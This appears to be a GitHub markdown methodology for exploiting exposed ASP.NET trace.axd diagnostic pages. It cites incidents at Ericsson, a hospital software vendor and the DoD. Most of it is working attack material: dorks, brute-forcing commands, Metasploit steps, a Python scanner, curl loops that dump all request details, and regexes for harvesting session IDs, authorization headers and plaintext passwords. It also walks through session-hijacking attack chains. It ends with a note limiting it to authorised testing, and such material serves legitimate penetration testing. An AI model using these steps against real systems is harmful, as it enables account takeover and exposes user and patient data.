Skip to content

ASP.NET.md

Latest commit

 

History

History
604 lines (455 loc) · 16.3 KB

ASP.NET.md

File metadata and controls

604 lines (455 loc) · 16.3 KB
Raw

Complete Methodology to Exploit trace.axd Information Disclosure

Table of Contents

  1. Understanding the Vulnerability
  2. Real-World Application Examples
  3. Complete Testing Methodology
  4. Tool-Based Exploitation Guide
  5. Burp Suite Testing Guide
  6. Manual Exploitation Techniques
  7. Data Extraction and Analysis
  8. Real Attack Chains from Past Incidents
  9. Detection and Confirmation

1. Understanding the Vulnerability

The trace.axd endpoint is a diagnostic feature in Microsoft ASP.NET applications. When enabled, it creates a Trace Viewer page that logs detailed information about the last 50 to 80 HTTP requests processed by the server .

What the Trace Viewer Exposes:

  • Session ID values (ASP.NET_SessionId)
  • Authorization headers and tokens
  • Plaintext usernames and passwords from POST requests
  • Physical file paths on the server (e.g., E:\webroots\application\web.config)
  • Query string parameters
  • Server variables and internal IP addresses
  • Stack traces and assembly names

Why This is Dangerous: An unauthenticated attacker can access this page without any credentials. The vulnerability is remotely exploitable with no user interaction required .

2. Real-World Application Examples

Example 1: Ericsson Forecast Subdomain (2023)

Application: forecast.ericsson.net Discovery Date: March 14, 2023 Fix Date: April 11, 2023

The Checkmarx Security Research team found that by accessing https://forecast.ericsson.net/Trace.axd, they could view:

  • Physical directory path: E:\webroots\SupplyExtranet
  • Request details for /Login/Login.aspx
  • Plaintext usernames and passwords submitted via POST requests

This vulnerability could have allowed attackers to take over user accounts and compromise Ericsson applications .

Example 2: Vertikal Systems Hospital Manager (2025)

Application: Hospital Manager Backend Services CVE ID: CVE-2025-54459 Affected Versions: Prior to September 19, 2025 CVSS Score: 8.7 (High Severity)

The endpoint /trace.axd was exposed without any authentication controls. Attackers could obtain:

  • Live request traces
  • Session identifiers
  • Authorization headers
  • Server environment variables
  • Internal file paths

This vulnerability affected healthcare organizations in Germany, France, United Kingdom, Italy, Spain, Netherlands, Sweden, Belgium, Switzerland, and Austria. The exposure risked patient data confidentiality and HIPAA/GDPR compliance .

Example 3: U.S. Department of Defense (2025)

Application: DoD Web Application Classification: High Severity

A bug bounty hunter discovered an active Trace.axd endpoint on a DoD application. The endpoint allowed viewing session ID values and physical paths without authentication, creating a session hijacking risk .

3. Complete Testing Methodology

Step 1: Initial Discovery and Reconnaissance

Google Dorking (Passive Reconnaissance):

site:example.com filetype:axd
site:example.com inurl:trace.axd
intitle:"Trace Viewer" asp.net
"Trace.axd" "View Details" site:target.com

Directory Brute-Forcing (Active Reconnaissance):

# Using Gobuster
gobuster dir -u https://example.com -w /path/to/wordlist.txt -x axd

# Using Dirb
dirb https://example.com /usr/share/wordlists/dirb/common.txt -X .axd

# Using ffuf
ffuf -u https://example.com/FUZZ -w wordlist.txt -e .axd

Step 2: Direct Endpoint Testing

Test the Primary Path:

curl -k -I https://example.com/trace.axd
curl -k https://example.com/trace.axd

Test Alternative Paths:

https://example.com/trace.axd
https://example.com/any.aspx/trace.axd
https://example.com/en-us/home/trace.axd
https://example.com/subdirectory/trace.axd

Step 3: Response Analysis

Successful Exploitation Indicators:

  • HTTP Status Code: 200 OK
  • Page Title: "Trace Viewer" or "ASP.NET Trace"
  • Content contains "Request Details" and "View Details" links
  • Physical paths visible in the output
  • Session ID values displayed

Access Denied Indicators:

  • HTTP 403 Forbidden
  • HTTP 404 Not Found
  • Redirect to login page
  • Blank page or error message

4. Tool-Based Exploitation Guide

Metasploit Framework

The Metasploit framework includes a dedicated module for trace.axd scanning .

Module Name: auxiliary/scanner/http/trace_axd

Step-by-Step Usage:

# Launch Metasploit
msfconsole

# Load the module
use auxiliary/scanner/http/trace_axd

# View available options
show options

# Set target host(s) - Single target
set RHOSTS 192.168.1.100

# Set target host(s) - IP range
set RHOSTS 192.168.1.1-192.168.1.200

# Set target host(s) - CIDR range
set RHOSTS 192.168.1.0/24

# Set target host(s) - From file
set RHOSTS file:/tmp/target_list.txt

# Set port (default 80)
set RPORT 443

# Enable SSL if target uses HTTPS
set SSL true

# Set virtual host if needed
set VHOST www.example.com

# Enable detailed trace output
set TRACE_DETAILS true

# Set number of threads
set THREADS 10

# Run the scan
run
# or
exploit

What the Metasploit Module Does:

  • Detects trace.axd files on target servers
  • Analyzes content for sensitive information
  • Displays request details including session IDs and paths

Nessus Vulnerability Scanner

Plugin IDs:

  • 10993: Microsoft ASP.NET Application Tracing trace.axd Information Disclosure (first released June 5, 2002)
  • 112352: Microsoft ASP.NET Application Tracing trace.axd Information Disclosure (updated September 7, 2021)

How to Use Nessus:

  1. Create a new scan
  2. Set target IP address or domain
  3. Enable "CGI abuses" plugin family
  4. Run the scan
  5. Check findings for "ASP.NET trace.axd Information Disclosure"
  6. Review evidence provided (URL and sample output)

Nmap Scripting

While not having a dedicated script, Nmap can be combined with custom scripts:

nmap -p 80,443 --script http-enum --script-args http-enum.fingerprintfile=./custom-fingerprints -sV target.com

Custom Python Script

#!/usr/bin/env python3

import requests
import sys
from urllib.parse import urljoin

def test_trace_axd(base_url):
    paths = [
        "/trace.axd",
        "/any.aspx/trace.axd",
        "/en-US/trace.axd",
        "/home/trace.axd"
    ]
    
    sensitive_indicators = [
        "ASP.NET_SessionId",
        "View Details",
        "Trace Viewer",
        "Request Details",
        "Physical Path"
    ]
    
    for path in paths:
        url = urljoin(base_url, path)
        try:
            response = requests.get(url, timeout=10, verify=False)
            
            if response.status_code == 200:
                print(f"[+] Found: {url}")
                
                # Check for sensitive data
                for indicator in sensitive_indicators:
                    if indicator in response.text:
                        print(f"    [!] Contains: {indicator}")
                
                # Save response for analysis
                with open("trace_output.html", "w") as f:
                    f.write(response.text)
                print("    [*] Saved response to trace_output.html")
                
        except requests.exceptions.RequestException as e:
            print(f"[-] Error testing {url}: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python3 trace_scanner.py https://example.com")
        sys.exit(1)
    
    target = sys.argv[1]
    test_trace_axd(target)

5. Burp Suite Testing Guide

Step 1: Set Up Burp Suite

  1. Configure browser proxy to Burp (default: 127.0.0.1:8080)
  2. Ensure "Intercept is off" for normal browsing
  3. Navigate to target application

Step 2: Spider/Crawl the Application

  1. Right-click on target in Target tab
  2. Select "Spider this host"
  3. Let Burp crawl to discover trace.axd automatically

Step 3: Use Intruder for Path Brute-Forcing

  1. Send a request to Intruder (Ctrl+I)
  2. Set position marker at path: GET /§§ HTTP/1.1
  3. Load wordlist containing common paths: 
    trace.axd
Trace.axd
TRACE.axd
/any.aspx/trace.axd
/subdir/trace.axd
  4. Configure attack type: "Sniper"
  5. Start attack
  6. Sort results by Status Code (look for 200 OK)

Step 4: Manual Request Testing

Repeater Method:

  1. Send a request to Repeater (Ctrl+R)
  2. Modify the path to /trace.axd
  3. Click "Send"
  4. Analyze response in the Response tab

Sample Request:

GET /trace.axd HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: text/html,application/xhtml+xml
Accept-Language: en-US,en;q=0.9
Connection: keep-alive

Step 5: Automated Scanning with Burp Scanner (Professional)

  1. Right-click on target domain
  2. Select "Scan"
  3. Choose "Scan configuration"
  4. Include "Information disclosure" checks
  5. Start scan
  6. Review findings under "Issue Activity" tab

Step 6: Extract Data from Responses

Using Burp Extensions:

  • Install "Content Extractor" extension
  • Configure regex patterns to extract:
    • Session IDs: ASP\.NET_SessionId=[^;"]+
    • Physical paths: [A-Z]:\\(?:[\w\\.\\]+)+
    • Username fields: name="(?:user|login|email|username)" value="([^"]+)"

6. Manual Exploitation Techniques

cURL Commands

Basic Request:

curl -k -s https://example.com/trace.axd

With Custom Headers:

curl -k -s -H "User-Agent: Mozilla/5.0" -H "Accept: text/html" https://example.com/trace.axd

Save Output to File:

curl -k -s https://example.com/trace.axd -o trace_output.html

Extract Physical Paths:

curl -k -s https://example.com/trace.axd | grep -i "physical" | head -20

Extract Session IDs:

curl -k -s https://example.com/trace.axd | grep -oE "ASP\.NET_SessionId[=:][^\s<\"']+"

Wget Method

wget --no-check-certificate https://example.com/trace.axd -O trace_page.html

View Request Details

Once on the main trace.axd page, each request has a "View Details" link. These links look like:

/trace.axd?rid=0
/trace.axd?rid=1
/trace.axd?id=2

Access Individual Request Details:

curl -k -s "https://example.com/trace.axd?rid=0"
curl -k -s "https://example.com/trace.axd?rid=1"
curl -k -s "https://example.com/trace.axd?rid=2"

Automate Extraction of All Request Details:

#!/bin/bash
for i in {0..50}; do
    echo "=== Request $i ===" >> all_requests.txt
    curl -k -s "https://example.com/trace.axd?rid=$i" >> all_requests.txt
    echo -e "\n\n" >> all_requests.txt
done

7. Data Extraction and Analysis

Types of Information to Extract

1. Session Identifiers:

ASP.NET_SessionId=5f1k2m3n4p5q6r7s8t9u0v
__RequestVerificationToken=abc123def456
.AspNet.ApplicationCookie=CfDJ8...

2. Authentication Credentials (from POST requests):

username=admin&password=P@ssw0rd123
Login=john.doe&Senha=secret123
email=user@company.com&pwd=Winter2024

3. Authorization Headers:

Authorization: Basic YWRtaW46cGFzc3dvcmQ=
Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

4. Physical Paths:

E:\webroots\production\app\web.config
C:\inetpub\wwwroot\site\bin\assembly.dll
D:\websites\customer_portal\app_data\database.mdf

5. Server Variables:

SERVER_SOFTWARE=Microsoft-IIS/10.0
REMOTE_ADDR=10.0.0.25
LOCAL_ADDR=192.168.1.100
APPL_PHYSICAL_PATH=E:\webroots\app\

6. Query String Parameters:

?id=123&mode=debug&token=abc123
?userId=456&action=edit&returnUrl=/admin

Extraction Using Regular Expressions

Session ID Pattern:

ASP\.NET_SessionId=([A-Za-z0-9]+)
[A-Za-z0-9]{24,}(?=\s|$)

Physical Path Pattern (Windows):

[A-Z]:\\(?:[\w\\.\\]+\\)+[\w\.]+

Email Pattern:

[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}

Password Field Pattern:

password["']?\s*[=:]\s*["']([^"']+)["']

8. Real Attack Chains from Past Incidents

Attack Chain 1: Healthcare Data Breach (CVE-2025-54459)

Based on the Vertikal Systems Hospital Manager vulnerability, an attacker could execute this attack chain :

Step 1: Discovery

  • Internet scan finds Hospital Manager service on public IP
  • Shodan search: "Hospital Manager" "ASP.NET" port:443

Step 2: Reconnaissance

  • Attacker accesses https://target-hospital.com/trace.axd
  • Views recent requests to identify active sessions
  • Extracts session identifiers and authorization headers

Step 3: Session Replay

  • Using harvested session cookies, attacker replays requests to API
  • Accesses patient records, schedules, and clinical data
  • Modifies device parameters through management endpoints

Step 4: Privilege Escalation

  • Stack traces from verbose error pages reveal framework versions
  • Identifies exploitable library with known CVE
  • Gains deeper control of backend infrastructure

Step 5: Lateral Movement

  • Compromised backend used as pivot to device management networks
  • Manipulates device firmware or telemetry data
  • Potential patient safety impact

Attack Chain 2: Enterprise Account Takeover (Ericsson 2023)

Based on the Ericsson vulnerability disclosure :

Step 1: Initial Discovery

  • Security researcher navigates to forecast.ericsson.net
  • Recognizes ASP.NET application from Login.aspx page
  • Tests common ASP.NET endpoints including /Trace.axd

Step 2: Endpoint Access

  • https://forecast.ericsson.net/Trace.axd returns 200 OK
  • Main trace page reveals physical directory structure
  • Shows recent requests including login attempts

Step 3: Credential Harvesting

  • Researcher clicks "View Details" for POST to /Login/Login.aspx
  • Response body shows plaintext username and password
  • Credentials are from legitimate user authentication

Step 4: Account Compromise

  • Harvested credentials used to authenticate as legitimate user
  • Access to internal systems and data
  • Potential for further lateral movement

Attack Chain 3: U.S. DoD Session Hijacking (2025)

Step 1: Bug Bounty Recon

  • Attacker enumerates subdomains of DoD target
  • Tests each for common misconfigurations

Step 2: Vulnerability Discovery

  • Finds /trace.axd accessible without authentication
  • Views session ID values from recent authenticated requests

Step 3: Session Hijacking

  • Copies active ASP.NET_SessionId value
  • Injects session cookie into own browser
  • Accesses authenticated areas without credentials

Step 4: Reporting

  • Reports as High Severity vulnerability to DoD bug bounty program
  • DoD confirms and remediates

9. Detection and Confirmation

How to Confirm Vulnerability

Confirmation Test 1: HTTP Status Code

curl -k -s -o /dev/null -w "%{http_code}" https://example.com/trace.axd
# If returns 200, further investigation needed

Confirmation Test 2: Page Title Check

curl -k -s https://example.com/trace.axd | grep -i "<title>"
# Look for "Trace Viewer" or "ASP.NET Trace"

Confirmation Test 3: Content Validation

curl -k -s https://example.com/trace.axd | grep -i "request details"
# Indicates trace viewer is active

Confirmation Test 4: Request Detail Access

curl -k -s "https://example.com/trace.axd?rid=0" | grep -i "session"
# Confirms session data exposure

Automated Detection Tools

Nessus Detection:

  • Plugin ID 10993 and 112352 detect this vulnerability
  • Risk rating: Medium
  • Solution provided in output

Metasploit Detection:

msf6 auxiliary(scanner/http/trace_axd) > run

[+] 10.0.0.25:80 - Found trace.axd
[+] 10.0.0.25:80 - Physical Path: E:\webroots\app\
[+] 10.0.0.25:80 - Session ID: 5f1k2m3n4p5q6r7s8t9u0v
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

False Positive Handling

A 200 OK response doesn't always indicate a vulnerability:

  • Custom error pages may return 200 but show "Access Denied"
  • Some applications redirect with 200 status
  • Always verify actual content contains trace data

Verification Command:

curl -k -s https://example.com/trace.axd | grep -E "(Trace Viewer|Request Details|Physical Path|View Details)"
# Only confirm if actual trace content is present

Remediation Verification

After fix is applied, confirm with:

curl -k -s -o /dev/null -w "%{http_code}" https://example.com/trace.axd
# Should return 404, 403, or redirect

curl -k -s https://example.com/trace.axd | head -20
# Should not contain trace viewer content

Important Legal Note: This methodology is for authorized security testing only. Testing for this vulnerability on systems you do not own or have explicit permission to test is illegal and unethical. Always ensure you have written authorization before conducting any security testing.